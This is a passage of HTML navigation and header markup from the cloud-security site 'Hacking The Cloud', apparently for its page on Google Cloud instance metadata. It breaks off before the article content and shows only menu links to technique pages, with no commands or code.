62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#metadata-endpoints class=md-nav__link> 